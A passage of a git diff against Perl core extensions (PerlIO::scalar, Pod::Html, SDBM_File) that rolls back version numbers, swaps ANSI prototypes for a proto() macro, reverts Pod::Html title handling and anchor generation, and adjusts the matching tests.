"a\0b\0\n\0"; -} - END { 1 while unlink($grk, $utf, $fail1, $fail2, $russki, $threebyte); } diff --git a/ext/PerlIO-scalar/scalar.pm b/ext/PerlIO-scalar/scalar.pm index 61b62ea3a2e1..ce328ede2386 100644 --- a/ext/PerlIO-scalar/scalar.pm +++ b/ext/PerlIO-scalar/scalar.pm @@ -1,5 +1,5 @@ package PerlIO::scalar; -our $VERSION = '0.29'; +our $VERSION = '0.26'; require XSLoader; XSLoader::load(); 1; diff --git a/ext/PerlIO-scalar/scalar.xs b/ext/PerlIO-scalar/scalar.xs index 10a4185899f2..c9a24db0b33e 100644 --- a/ext/PerlIO-scalar/scalar.xs +++ b/ext/PerlIO-scalar/scalar.xs @@ -43,7 +43,7 @@ PerlIOScalar_pushed(pTHX_ PerlIO * f, const char *mode, SV * arg, && mode && *mode != 'r') { if (ckWARN(WARN_LAYER)) Perl_warner(aTHX_ packWARN(WARN_LAYER), "%s", PL_no_modify); - SETERRNO(EACCES, RMS_PRV); + SETERRNO(EINVAL, SS_IVCHAN); return -1; } s->var = SvREFCNT_inc(SvRV(arg)); @@ -186,8 +186,8 @@ PerlIOScalar_read(pTHX_ PerlIO *f, void *vbuf, Size_t count) * seems safe) and that the size of the buffer in our SV is * always less than half the size of the address space */ - STATIC_ASSERT_STMT(sizeof(Off_t) >= sizeof(len)); - assert(len < ((~(STRLEN)0) >> 1)); + assert(sizeof(Off_t) >= sizeof(len)); + assert((Off_t)len >= 0); if ((Off_t)len <= s->posn) return 0; got = len - (STRLEN)(s->posn); diff --git a/ext/PerlIO-scalar/t/scalar.t b/ext/PerlIO-scalar/t/scalar.t index bd06d641cd23..3dfcced38d3d 100644 --- a/ext/PerlIO-scalar/t/scalar.t +++ b/ext/PerlIO-scalar/t/scalar.t @@ -13,11 +13,10 @@ BEGIN { } use Fcntl qw(SEEK_SET SEEK_CUR SEEK_END); # Not 0, 1, 2 everywhere. -use Errno qw(EACCES); $| = 1; -use Test::More tests => 123; +use Test::More tests => 122; my $fh; my $var = "aaa\n"; @@ -186,7 +185,6 @@ EOF my $ro = \43; ok(!(defined open(F, '>', $ro)), $!); - is($!+0, EACCES, "check we get a read-onlyish error code"); close F; # but we can read from it ok(open(F, '<', $ro), $!); diff --git a/ext/Pod-Functions/Functions_pm.PL b/ext/Pod-Functions/Functions_pm.PL index 04b1a90e3ccf..eb8369a47006 100644 --- a/ext/Pod-Functions/Functions_pm.PL +++ b/ext/Pod-Functions/Functions_pm.PL @@ -207,7 +207,7 @@ L section. =cut -our $VERSION = '1.13'; +our $VERSION = '1.11'; require Exporter; diff --git a/ext/Pod-Html/lib/Pod/Html.pm b/ext/Pod-Html/lib/Pod/Html.pm index 64cf376f3c98..5b3463687b6b 100644 --- a/ext/Pod-Html/lib/Pod/Html.pm +++ b/ext/Pod-Html/lib/Pod/Html.pm @@ -2,10 +2,11 @@ package Pod::Html; use strict; require Exporter; -our $VERSION = 1.24; -our @ISA = qw(Exporter); -our @EXPORT = qw(pod2html htmlify); -our @EXPORT_OK = qw(anchorify relativize_url); +use vars qw($VERSION @ISA @EXPORT @EXPORT_OK); +$VERSION = 1.2202; +@ISA = qw(Exporter); +@EXPORT = qw(pod2html htmlify); +@EXPORT_OK = qw(anchorify); use Carp; use Config; @@ -15,7 +16,6 @@ use File::Spec; use File::Spec::Unix; use Getopt::Long; use Pod::Simple::Search; -use Pod::Simple::SimpleTree (); use locale; # make \w work right in non-ASCII lands =head1 NAME @@ -223,19 +223,6 @@ This program is distributed under the Artistic License. =cut -# This sub duplicates the guts of Pod::Simple::FromTree. We could have -# used that module, except that it would have been a non-core dependency. -sub feed_tree_to_parser { - my($parser, $tree) = @_; - if(ref($tree) eq "") { - $parser->_handle_text($tree); - } elsif(!($tree->[0] eq "X" && $parser->nix_X_codes)) { - $parser->_handle_element_start($tree->[0], $tree->[1]); - feed_tree_to_parser($parser, $_) foreach @{$tree}[2..$#$tree]; - $parser->_handle_element_end($tree->[0]); - } -} - my $Cachedir; my $Dircache; my($Htmlroot, $Htmldir, $Htmlfile, $Htmlfileurl); @@ -287,7 +274,7 @@ sub init_globals { $Doindex = 1; # non-zero if we should generate an index $Backlink = 0; # no backlinks added by default $Header = 0; # produce block header/footer - $Title = undef; # title to give the pod(s) + $Title = ''; # title to give the pod(s) } sub pod2html { @@ -353,60 +340,25 @@ sub pod2html { close $cache or die "error closing $Dircache: $!"; } - my $input; - unless (@ARGV && $ARGV[0]) { - if ($Podfile and $Podfile ne '-') { - $input = $Podfile; - } else { - $input = '-'; # XXX: make a test case for this - } - } else { - $Podfile = $ARGV[0]; - $input = *ARGV; - } - - # set options for input parser - my $parser = Pod::Simple::SimpleTree->new; - $parser->codes_in_verbatim(0); - $parser->accept_targets(qw(html HTML)); - $parser->no_errata_section(!$Poderrors); # note the inverse - - warn "Converting input file $Podfile\n" if $Verbose; - my $podtree = $parser->parse_file($input)->root; - - unless(defined $Title) { - if($podtree->[0] eq "Document" && ref($podtree->[2]) eq "ARRAY" && - $podtree->[2]->[0] eq "head1" && @{$podtree->[2]} == 3 && - ref($podtree->[2]->[2]) eq "" && $podtree->[2]->[2] eq "NAME" && - ref($podtree->[3]) eq "ARRAY" && $podtree->[3]->[0] eq "Para" && - @{$podtree->[3]} >= 3 && - !(grep { ref($_) ne "" } - @{$podtree->[3]}[2..$#{$podtree->[3]}]) && - (@$podtree == 4 || - (ref($podtree->[4]) eq "ARRAY" && - $podtree->[4]->[0] eq "head1"))) { - $Title = join("", @{$podtree->[3]}[2..$#{$podtree->[3]}]); - } - } - - $Title //= ""; - $Title = html_escape($Title); - - # set options for the HTML generator - $parser = Pod::Simple::XHTML::LocalPodLinks->new(); + # set options for the parser + my $parser = Pod::Simple::XHTML::LocalPodLinks->new(); $parser->codes_in_verbatim(0); $parser->anchor_items(1); # the old Pod::Html always did $parser->backlink($Backlink); # linkify =head1 directives - $parser->force_title($Title); $parser->htmldir($Htmldir); $parser->htmlfileurl($Htmlfileurl); $parser->htmlroot($Htmlroot); $parser->index($Doindex); + $parser->no_errata_section(!$Poderrors); # note the inverse $parser->output_string(\my $output); # written to file later $parser->pages(\%Pages); $parser->quiet($Quiet); $parser->verbose($Verbose); + # XXX: implement default title generator in pod::simple::xhtml + # copy the way the old Pod::Html did it + $Title = html_escape($Title); + # We need to add this ourselves because we use our own header, not # ::XHTML's header. We need to set $parser->backlink to linkify # the =head1 directives @@ -453,7 +405,20 @@ $block HTMLFOOT - feed_tree_to_parser($parser, $podtree); + my $input; + unless (@ARGV && $ARGV[0]) { + if ($Podfile and $Podfile ne '-') { + $input = $Podfile; + } else { + $input = '-'; # XXX: make a test case for this + } + } else { + $Podfile = $ARGV[0]; + $input = *ARGV; + } + + warn "Converting input file $Podfile\n" if $Verbose; + $parser->parse_file($input); # Write output to file $Htmlfile = "-" unless $Htmlfile; # stdout @@ -655,18 +620,26 @@ sub html_escape { $rest =~ s//>/g; $rest =~ s/"/"/g; - $rest =~ s/([[:^print:]])/sprintf("&#x%x;", ord($1))/aeg; + # ' is only in XHTML, not HTML4. Be conservative + #$rest =~ s/'/'/g; return $rest; } # # htmlify - converts a pod section specification to a suitable section -# specification for HTML. We adopt the mechanism used by the formatter -# that we use. +# specification for HTML. Note that we keep spaces and special characters +# except ", ? (Netscape problem) and the hyphen (writer's problem...). # sub htmlify { my( $heading) = @_; - return Pod::Simple::XHTML->can("idify")->(undef, $heading, 1); + $heading =~ s/(\s+)/ /g; + $heading =~ s/\s+\Z//; + $heading =~ s/\A\s+//; + # The hyphen is a disgrace to the English language. + # $heading =~ s/[-"?]//g; + $heading =~ s/["?]//g; + $heading = lc( $heading ); + return $heading; } # @@ -794,7 +767,7 @@ sub resolve_pod_page_link { # then $self->htmlroot eq '' (by definition of htmlfileurl) so # $self->htmldir needs to be prepended to link to get the absolute path # that will be relativized - $url = Pod::Html::relativize_url( + $url = relativize_url( File::Spec::Unix->catdir(Pod::Html::_unixify($self->htmldir), $url), $self->htmlfileurl # already unixified ); @@ -803,8 +776,6 @@ sub resolve_pod_page_link { return $url . ".html$section"; } -package Pod::Html; - # # relativize_url - convert an absolute URL to one relative to a base URL. # Assumes both end in a filename. diff --git a/ext/Pod-Html/t/anchorify.t b/ext/Pod-Html/t/anchorify.t index 0677f9ed3022..d7b180818ff1 100644 --- a/ext/Pod-Html/t/anchorify.t +++ b/ext/Pod-Html/t/anchorify.t @@ -23,18 +23,18 @@ foreach $i (0..$#poddata) { $heads{anchorify($1)} = 1 if $poddata[$i] =~ /=head[1-6]\s+(.*)/; } my %expected = map { $_ => 1 } qw( - NAME - DESCRIPTION - Subroutine - Error - Method - Has_A_Wordspace - HasTrailingWordspace - HasLeadingWordspace - Has_Extra_InternalWordspace - Has_Quotes - Has_QuestionMark - Has_Hyphen_And_Space + name + description + subroutine + error + method + has_a_wordspace + hastrailingwordspace + hasleadingwordspace + has_extra_internalwordspace + hasquotes + hasquestionmark + has_hyphen_and_space ); is_deeply( \%heads, diff --git a/ext/Pod-Html/t/crossref.t b/ext/Pod-Html/t/crossref.t index 74e04e042f4e..49309d9f7d92 100644 --- a/ext/Pod-Html/t/crossref.t +++ b/ext/Pod-Html/t/crossref.t @@ -35,7 +35,7 @@ __DATA__ -htmlcrossref - Test HTML cross reference links + diff --git a/ext/Pod-Html/t/crossref2.t b/ext/Pod-Html/t/crossref2.t index 4e1b9233332c..06dfcc288032 100644 --- a/ext/Pod-Html/t/crossref2.t +++ b/ext/Pod-Html/t/crossref2.t @@ -31,7 +31,7 @@ __DATA__ -htmlcrossref - Test HTML cross reference links + diff --git a/ext/Pod-Html/t/crossref3.t b/ext/Pod-Html/t/crossref3.t index 5edab486d024..eb6c83485874 100644 --- a/ext/Pod-Html/t/crossref3.t +++ b/ext/Pod-Html/t/crossref3.t @@ -31,7 +31,7 @@ __DATA__ -htmlcrossref - Test HTML cross reference links + diff --git a/ext/Pod-Html/t/htmldir1.t b/ext/Pod-Html/t/htmldir1.t index 22632a18ba57..88d02a508759 100644 --- a/ext/Pod-Html/t/htmldir1.t +++ b/ext/Pod-Html/t/htmldir1.t @@ -52,7 +52,7 @@ __DATA__ -htmldir - Test --htmldir feature + diff --git a/ext/Pod-Html/t/htmldir2.t b/ext/Pod-Html/t/htmldir2.t index 36efdb7ad8a8..bf2d02c71535 100644 --- a/ext/Pod-Html/t/htmldir2.t +++ b/ext/Pod-Html/t/htmldir2.t @@ -39,7 +39,7 @@ __DATA__ -htmldir - Test --htmldir feature + diff --git a/ext/Pod-Html/t/htmldir3.t b/ext/Pod-Html/t/htmldir3.t index 3bcf4d09c968..843620be6cd3 100644 --- a/ext/Pod-Html/t/htmldir3.t +++ b/ext/Pod-Html/t/htmldir3.t @@ -48,7 +48,7 @@ __DATA__ -htmldir - Test --htmldir feature + diff --git a/ext/Pod-Html/t/htmldir4.t b/ext/Pod-Html/t/htmldir4.t index 14435fa8d214..01b4f57408d1 100644 --- a/ext/Pod-Html/t/htmldir4.t +++ b/ext/Pod-Html/t/htmldir4.t @@ -34,7 +34,7 @@ __DATA__ -htmldir - Test --htmldir feature + diff --git a/ext/Pod-Html/t/htmldir5.t b/ext/Pod-Html/t/htmldir5.t index 3f53d3ffba1c..bf03e5e37710 100644 --- a/ext/Pod-Html/t/htmldir5.t +++ b/ext/Pod-Html/t/htmldir5.t @@ -37,7 +37,7 @@ __DATA__ -htmldir - Test --htmldir feature + diff --git a/ext/Pod-Html/t/htmlescp.t b/ext/Pod-Html/t/htmlescp.t index fd5207ab2237..655b52190975 100644 --- a/ext/Pod-Html/t/htmlescp.t +++ b/ext/Pod-Html/t/htmlescp.t @@ -14,7 +14,7 @@ __DATA__ -Escape Sequences Test + diff --git a/ext/Pod-Html/t/htmllink.t b/ext/Pod-Html/t/htmllink.t index 033c93f16f9b..e9aade506e56 100644 --- a/ext/Pod-Html/t/htmllink.t +++ b/ext/Pod-Html/t/htmllink.t @@ -14,7 +14,7 @@ __DATA__ -htmllink - Test HTML links + diff --git a/ext/Pod-Html/t/htmlview.t b/ext/Pod-Html/t/htmlview.t index 1e3a304b368d..a95a0abf772f 100644 --- a/ext/Pod-Html/t/htmlview.t +++ b/ext/Pod-Html/t/htmlview.t @@ -14,7 +14,7 @@ __DATA__ -Test HTML Rendering + diff --git a/ext/SDBM_File/dbe.c b/ext/SDBM_File/dbe.c index d1e3bd5e77c9..18ce54677e8d 100644 --- a/ext/SDBM_File/dbe.c +++ b/ext/SDBM_File/dbe.c @@ -1,5 +1,4 @@ #include -#include #ifndef VMS #include #include @@ -48,11 +47,16 @@ char *optarg; /* Global argument pointer. */ +#ifdef VMS +#define index strchr +#endif + char getopt(int argc, char **argv, char *optstring) { int c; char *place; + extern char *index(); static int optind = 0; static char *scan = NULL; @@ -74,7 +78,7 @@ getopt(int argc, char **argv, char *optstring) } c = *scan++; - place = strchr(optstring, c); + place = index(optstring, c); if (place == NULL || c == ':' || c == ';') { (void) fprintf(stderr, "%s: unknown option %c\n", argv[0], c); diff --git a/ext/SDBM_File/dbu.c b/ext/SDBM_File/dbu.c index ef1963d3501f..4631d40acd63 100644 --- a/ext/SDBM_File/dbu.c +++ b/ext/SDBM_File/dbu.c @@ -8,7 +8,12 @@ #endif #include +#ifdef BSD42 +#define strchr index +#endif + extern int getopt(); +extern char *strchr(); extern void oops(); char *progname; diff --git a/ext/SDBM_File/hash.c b/ext/SDBM_File/hash.c index 01445f59b96d..f0115baa5452 100644 --- a/ext/SDBM_File/hash.c +++ b/ext/SDBM_File/hash.c @@ -14,34 +14,34 @@ * polynomial conversion ignoring overflows * [this seems to work remarkably well, in fact better * then the ndbm hash function. Replace at your own risk] - * use: 65599 nice. + * use: 65599 nice. * 65587 even better. */ long sdbm_hash(const char *str, int len) { - unsigned long n = 0; + unsigned long n = 0; #ifdef DUFF -#define HASHC n = *str++ + 65599 * n +#define HASHC n = *str++ + 65599 * n - if (len > 0) { - int loop = (len + 8 - 1) >> 3; + if (len > 0) { + int loop = (len + 8 - 1) >> 3; - switch(len & (8 - 1)) { - case 0: do { - HASHC; /* FALLTHROUGH */ case 7: HASHC; /* FALLTHROUGH */ - case 6: HASHC; /* FALLTHROUGH */ case 5: HASHC; /* FALLTHROUGH */ - case 4: HASHC; /* FALLTHROUGH */ case 3: HASHC; /* FALLTHROUGH */ - case 2: HASHC; /* FALLTHROUGH */ case 1: HASHC; - } while (--loop); - } + switch(len & (8 - 1)) { + case 0: do { + HASHC; case 7: HASHC; + case 6: HASHC; case 5: HASHC; + case 4: HASHC; case 3: HASHC; + case 2: HASHC; case 1: HASHC; + } while (--loop); + } - } + } #else - while (len--) - n = *str++ + 65599 * n; + while (len--) + n = *str++ + 65599 * n; #endif - return n; + return n; } diff --git a/ext/SDBM_File/pair.c b/ext/SDBM_File/pair.c index 2e4d8074e5a5..62045ec97739 100644 --- a/ext/SDBM_File/pair.c +++ b/ext/SDBM_File/pair.c @@ -17,26 +17,26 @@ #include "tune.h" #include "pair.h" -#define exhash(item) sdbm_hash((item).dptr, (item).dsize) +#define exhash(item) sdbm_hash((item).dptr, (item).dsize) /* * forward */ -static int seepair(char *, int, const char *, int); +static int seepair proto((char *, int, const char *, int)); /* * page format: - * +------------------------------+ - * ino | n | keyoff | datoff | keyoff | - * +------------+--------+--------+ - * | datoff | - - - ----> | - * +--------+---------------------+ - * | F R E E A R E A | - * +--------------+---------------+ - * | <---- - - - | data | - * +--------+-----+----+----------+ - * | key | data | key | - * +--------+----------+----------+ + * +------------------------------+ + * ino | n | keyoff | datoff | keyoff | + * +------------+--------+--------+ + * | datoff | - - - ----> | + * +--------+---------------------+ + * | F R E E A R E A | + * +--------------+---------------+ + * | <---- - - - | data | + * +--------+-----+----+----------+ + * | key | data | key | + * +--------+----------+----------+ * * calculating the offsets for free area: if the number * of entries (ino[0]) is zero, the offset to the END of @@ -47,116 +47,116 @@ static int seepair(char *, int, const char *, int); int fitpair(char *pag, int need) { - int n; - int off; - int free; - short *ino = (short *) pag; + int n; + int off; + int free; + short *ino = (short *) pag; - off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ; - free = off - (n + 1) * sizeof(short); - need += 2 * sizeof(short); + off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ; + free = off - (n + 1) * sizeof(short); + need += 2 * sizeof(short); - debug(("free %d need %d\n", free, need)); + debug(("free %d need %d\n", free, need)); - return need <= free; + return need <= free; } void putpair(char *pag, datum key, datum val) { - int n; - int off; - short *ino = (short *) pag; + int n; + int off; + short *ino = (short *) pag; - off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ; + off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ; /* * enter the key first */ - off -= key.dsize; - (void) memcpy(pag + off, key.dptr, key.dsize); - ino[n + 1] = off; + off -= key.dsize; + (void) memcpy(pag + off, key.dptr, key.dsize); + ino[n + 1] = off; /* * now the data */ - off -= val.dsize; - (void) memcpy(pag + off, val.dptr, val.dsize); - ino[n + 2] = off; + off -= val.dsize; + (void) memcpy(pag + off, val.dptr, val.dsize); + ino[n + 2] = off; /* * adjust item count */ - ino[0] += 2; + ino[0] += 2; } datum getpair(char *pag, datum key) { - int i; - int n; - datum val; - short *ino = (short *) pag; + int i; + int n; + datum val; + short *ino = (short *) pag; - if ((n = ino[0]) == 0) - return nullitem; + if ((n = ino[0]) == 0) + return nullitem; - if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0) - return nullitem; + if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0) + return nullitem; - val.dptr = pag + ino[i + 1]; - val.dsize = ino[i] - ino[i + 1]; - return val; + val.dptr = pag + ino[i + 1]; + val.dsize = ino[i] - ino[i + 1]; + return val; } int exipair(char *pag, datum key) { - short *ino = (short *) pag; + short *ino = (short *) pag; - if (ino[0] == 0) - return 0; + if (ino[0] == 0) + return 0; - return (seepair(pag, ino[0], key.dptr, key.dsize) != 0); + return (seepair(pag, ino[0], key.dptr, key.dsize) != 0); } #ifdef SEEDUPS int duppair(char *pag, datum key) { - short *ino = (short *) pag; - return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0; + short *ino = (short *) pag; + return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0; } #endif datum getnkey(char *pag, int num) { - datum key; - int off; - short *ino = (short *) pag; + datum key; + int off; + short *ino = (short *) pag; - num = num * 2 - 1; - if (ino[0] == 0 || num > ino[0]) - return nullitem; + num = num * 2 - 1; + if (ino[0] == 0 || num > ino[0]) + return nullitem; - off = (num > 1) ? ino[num - 1] : PBLKSIZ; + off = (num > 1) ? ino[num - 1] : PBLKSIZ; - key.dptr = pag + ino[num]; - key.dsize = off - ino[num]; + key.dptr = pag + ino[num]; + key.dsize = off - ino[num]; - return key; + return key; } int delpair(char *pag, datum key) { - int n; - int i; - short *ino = (short *) pag; + int n; + int i; + short *ino = (short *) pag; - if ((n = ino[0]) == 0) - return 0; + if ((n = ino[0]) == 0) + return 0; - if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0) - return 0; + if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0) + return 0; /* * found the key. if it is the last entry * [i.e. i == n - 1] we just adjust the entry count. @@ -164,47 +164,52 @@ delpair(char *pag, datum key) * shift offsets onto deleted offsets, and adjust them. * [note: 0 < i < n] */ - if (i < n - 1) { - int m; - char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]); - char *src = pag + ino[i + 1]; - int zoo = dst - src; + if (i < n - 1) { + int m; + char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]); + char *src = pag + ino[i + 1]; + int zoo = dst - src; - debug(("free-up %d ", zoo)); + debug(("free-up %d ", zoo)); /* * shift data/keys down */ - m = ino[i + 1] - ino[n]; + m = ino[i + 1] - ino[n]; #ifdef DUFF -#define MOVB *--dst = *--src - - if (m > 0) { - int loop = (m + 8 - 1) >> 3; - - switch (m & (8 - 1)) { - case 0: do { - MOVB; /* FALLTHROUGH */ case 7: MOVB; /* FALLTHROUGH */ - case 6: MOVB; /* FALLTHROUGH */ case 5: MOVB; /* FALLTHROUGH */ - case 4: MOVB; /* FALLTHROUGH */ case 3: MOVB; /* FALLTHROUGH */ - case 2: MOVB; /* FALLTHROUGH */ case 1: MOVB; - } while (--loop); - } - } +#define MOVB *--dst = *--src + + if (m > 0) { + int loop = (m + 8 - 1) >> 3; + + switch (m & (8 - 1)) { + case 0: do { + MOVB; case 7: MOVB; + case 6: MOVB; case 5: MOVB; + case 4: MOVB; case 3: MOVB; + case 2: MOVB; case 1: MOVB; + } while (--loop); + } + } #else - dst -= m; - src -= m; - memmove(dst, src, m); +#ifdef HAS_MEMMOVE + dst -= m; + src -= m; + memmove(dst, src, m); +#else + while (m--) + *--dst = *--src; +#endif #endif /* * adjust offset index up */ - while (i < n - 1) { - ino[i] = ino[i + 2] + zoo; - i++; - } - } - ino[0] -= 2; - return 1; + while (i < n - 1) { + ino[i] = ino[i + 2] + zoo; + i++; + } + } + ino[0] -= 2; + return 1; } /* @@ -215,52 +220,52 @@ delpair(char *pag, datum key) static int seepair(char *pag, int n, const char *key, int siz) { - int i; - int off = PBLKSIZ; - short *ino = (short *) pag; - - for (i = 1; i < n; i += 2) { - if (siz == off - ino[i] && - memEQ(key, pag + ino[i], siz)) - return i; - off = ino[i + 1]; - } - return 0; + int i; + int off = PBLKSIZ; + short *ino = (short *) pag; + + for (i = 1; i < n; i += 2) { + if (siz == off - ino[i] && + memEQ(key, pag + ino[i], siz)) + return i; + off = ino[i + 1]; + } + return 0; } void splpage(char *pag, char *New, long int sbit) { - datum key; - datum val; - - int n; - int off = PBLKSIZ; - char cur[PBLKSIZ]; - short *ino = (short *) cur; - - (void) memcpy(cur, pag, PBLKSIZ); - (void) memset(pag, 0, PBLKSIZ); - (void) memset(New, 0, PBLKSIZ); - - n = ino[0]; - for (ino++; n > 0; ino += 2) { - key.dptr = cur + ino[0]; - key.dsize = off - ino[0]; - val.dptr = cur + ino[1]; - val.dsize = ino[0] - ino[1]; + datum key; + datum val; + + int n; + int off = PBLKSIZ; + char cur[PBLKSIZ]; + short *ino = (short *) cur; + + (void) memcpy(cur, pag, PBLKSIZ); + (void) memset(pag, 0, PBLKSIZ); + (void) memset(New, 0, PBLKSIZ); + + n = ino[0]; + for (ino++; n > 0; ino += 2) { + key.dptr = cur + ino[0]; + key.dsize = off - ino[0]; + val.dptr = cur + ino[1]; + val.dsize = ino[0] - ino[1]; /* * select the page pointer (by looking at sbit) and insert */ - (void) putpair((exhash(key) & sbit) ? New : pag, key, val); + (void) putpair((exhash(key) & sbit) ? New : pag, key, val); - off = ino[1]; - n -= 2; - } + off = ino[1]; + n -= 2; + } - debug(("%d split %d/%d\n", ((short *) cur)[0] / 2, - ((short *) New)[0] / 2, - ((short *) pag)[0] / 2)); + debug(("%d split %d/%d\n", ((short *) cur)[0] / 2, + ((short *) New)[0] / 2, + ((short *) pag)[0] / 2)); } /* @@ -272,22 +277,22 @@ splpage(char *pag, char *New, long int sbit) int chkpage(char *pag) { - int n; - int off; - short *ino = (short *) pag; - - if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short))) - return 0; - - if (n > 0) { - off = PBLKSIZ; - for (ino++; n > 0; ino += 2) { - if (ino[0] > off || ino[1] > off || - ino[1] > ino[0]) - return 0; - off = ino[1]; - n -= 2; - } - } - return 1; + int n; + int off; + short *ino = (short *) pag; + + if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short))) + return 0; + + if (n > 0) { + off = PBLKSIZ; + for (ino++; n > 0; ino += 2) { + if (ino[0] > off || ino[1] > off || + ino[1] > ino[0]) + return 0; + off = ino[1]; + n -= 2; + } + } + return 1; } diff --git a/ext/SDBM_File/pair.h b/ext/SDBM_File/pair.h index 7191556a70ce..b6944edd0715 100644 --- a/ext/SDBM_File/pair.h +++ b/ext/SDBM_File/pair.h @@ -9,14 +9,14 @@ #define putpair sdbm__putpair #define splpage sdbm__splpage -extern int fitpair(char *, int); -extern void putpair(char *, datum, datum); -extern datum getpair(char *, datum); -extern int exipair(char *, datum); -extern int delpair(char *, datum); -extern int chkpage(char *); -extern datum getnkey(char *, int); -extern void splpage(char *, char *, long); +extern int fitpair proto((char *, int)); +extern void putpair proto((char *, datum, datum)); +extern datum getpair proto((char *, datum)); +extern int exipair proto((char *, datum)); +extern int delpair proto((char *, datum)); +extern int chkpage proto((char *)); +extern datum getnkey proto((char *, int)); +extern void splpage proto((char *, char *, long)); #ifdef SEEDUPS -extern int duppair(char *, datum); +extern int duppair proto((char *, datum)); #endif diff --git a/ext/SDBM_File/sdbm.c b/ext/SDBM_File/sdbm.c index 2099857fb841..cf5dc75d27c7 100644 --- a/ext/SDBM_File/sdbm.c +++ b/ext/SDBM_File/sdbm.c @@ -23,7 +23,13 @@ # include #endif -#include +#ifdef I_STRING +# ifndef __ultrix__ +# include +# endif +#else +# include +#endif /* * externals @@ -35,8 +41,8 @@ extern "C" { #endif -extern Malloc_t malloc(MEM_SIZE); -extern Free_t free(Malloc_t); +extern Malloc_t malloc proto((MEM_SIZE)); +extern Free_t free proto((Malloc_t)); #ifdef __cplusplus } @@ -47,11 +53,11 @@ const datum nullitem = {0, 0}; /* * forward */ -static int getdbit(DBM *, long); -static int setdbit(DBM *, long); -static int getpage(DBM *, long); -static datum getnext(DBM *); -static int makroom(DBM *, long, int); +static int getdbit proto((DBM *, long)); +static int setdbit proto((DBM *, long)); +static int getpage proto((DBM *, long)); +static datum getnext proto((DBM *)); +static int makroom proto((DBM *, long, int)); /* * useful macros diff --git a/ext/SDBM_File/sdbm.h b/ext/SDBM_File/sdbm.h index e35356970890..8d9cffd479f0 100644 --- a/ext/SDBM_File/sdbm.h +++ b/ext/SDBM_File/sdbm.h @@ -53,6 +53,12 @@ typedef struct { extern const datum nullitem; +#if defined(__STDC__) || defined(__cplusplus) || defined(CAN_PROTOTYPE) +#define proto(p) p +#else +#define proto(p) () +#endif + /* * flags to sdbm_store */ @@ -62,20 +68,20 @@ extern const datum nullitem; /* * ndbm interface */ -extern DBM *sdbm_open(char *, int, int); -extern void sdbm_close(DBM *); -extern datum sdbm_fetch(DBM *, datum); -extern int sdbm_delete(DBM *, datum); -extern int sdbm_store(DBM *, datum, datum, int); -extern datum sdbm_firstkey(DBM *); -extern datum sdbm_nextkey(DBM *); -extern int sdbm_exists(DBM *, datum); +extern DBM *sdbm_open proto((char *, int, int)); +extern void sdbm_close proto((DBM *)); +extern datum sdbm_fetch proto((DBM *, datum)); +extern int sdbm_delete proto((DBM *, datum)); +extern int sdbm_store proto((DBM *, datum, datum, int)); +extern datum sdbm_firstkey proto((DBM *)); +extern datum sdbm_nextkey proto((DBM *)); +extern int sdbm_exists proto((DBM *, datum)); /* * other */ -extern DBM *sdbm_prep(char *, char *, int, int); -extern long sdbm_hash(const char *, int); +extern DBM *sdbm_prep proto((char *, char *, int, int)); +extern long sdbm_hash proto((const char *, int)); #ifndef SDBM_ONLY #define dbm_open sdbm_open @@ -111,6 +117,10 @@ extern long sdbm_hash(const char *, int); # endif #endif +#if defined(__STDC__) || defined(_AIX) || defined(__stdc__) || defined(__cplusplus) +# define STANDARD_C 1 +#endif + #include #include #include @@ -149,8 +159,10 @@ extern long sdbm_hash(const char *, int); # endif #endif -/* Use all the "standard" definitions */ -#include +/* Use all the "standard" definitions? */ +#if defined(STANDARD_C) && defined(I_STDLIB) +# include +#endif /* STANDARD_C */ #define MEM_SIZE Size_t @@ -167,10 +179,10 @@ extern long sdbm_hash(const char *, int); extern "C" { #endif -Malloc_t Perl_malloc(MEM_SIZE nbytes); -Malloc_t Perl_calloc(MEM_SIZE elements, MEM_SIZE size); -Malloc_t Perl_realloc(Malloc_t where, MEM_SIZE nbytes); -Free_t Perl_mfree(Malloc_t where); +Malloc_t Perl_malloc proto((MEM_SIZE nbytes)); +Malloc_t Perl_calloc proto((MEM_SIZE elements, MEM_SIZE size)); +Malloc_t Perl_realloc proto((Malloc_t where, MEM_SIZE nbytes)); +Free_t Perl_mfree proto((Malloc_t where)); #ifdef __cplusplus } @@ -178,16 +190,91 @@ Free_t Perl_mfree(Malloc_t where); #endif /* MYMALLOC */ -#include +#ifdef I_STRING +# ifndef __ultrix__ +# include +# endif +#else +# include +#endif -#define memzero(d,l) memset(d,0,l) +#ifdef I_MEMORY +#include +#endif -#ifdef BUGGY_MSC -# pragma function(memcmp) +#ifdef __cplusplus +#define HAS_MEMCPY #endif -#define memNE(s1,s2,l) (memcmp(s1,s2,l)) -#define memEQ(s1,s2,l) (!memcmp(s1,s2,l)) +#ifdef HAS_MEMCPY +# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY) +# ifndef memcpy + extern char * memcpy proto((char*, char*, int)); +# endif +# endif +#else +# ifndef memcpy +# ifdef HAS_BCOPY +# define memcpy(d,s,l) bcopy(s,d,l) +# else +# define memcpy(d,s,l) my_bcopy(s,d,l) +# endif +# endif +#endif /* HAS_MEMCPY */ + +#ifdef HAS_MEMSET +# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY) +# ifndef memset + extern char *memset proto((char*, int, int)); +# endif +# endif +# define memzero(d,l) memset(d,0,l) +#else +# ifndef memzero +# ifdef HAS_BZERO +# define memzero(d,l) bzero(d,l) +# else +# define memzero(d,l) my_bzero(d,l) +# endif +# endif +#endif /* HAS_MEMSET */ + +#if defined(mips) && defined(ultrix) && !defined(__STDC__) +# undef HAS_MEMCMP +#endif + +#if defined(HAS_MEMCMP) && defined(HAS_SANE_MEMCMP) +# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY) +# ifndef memcmp + extern int memcmp proto((char*, char*, int)); +# 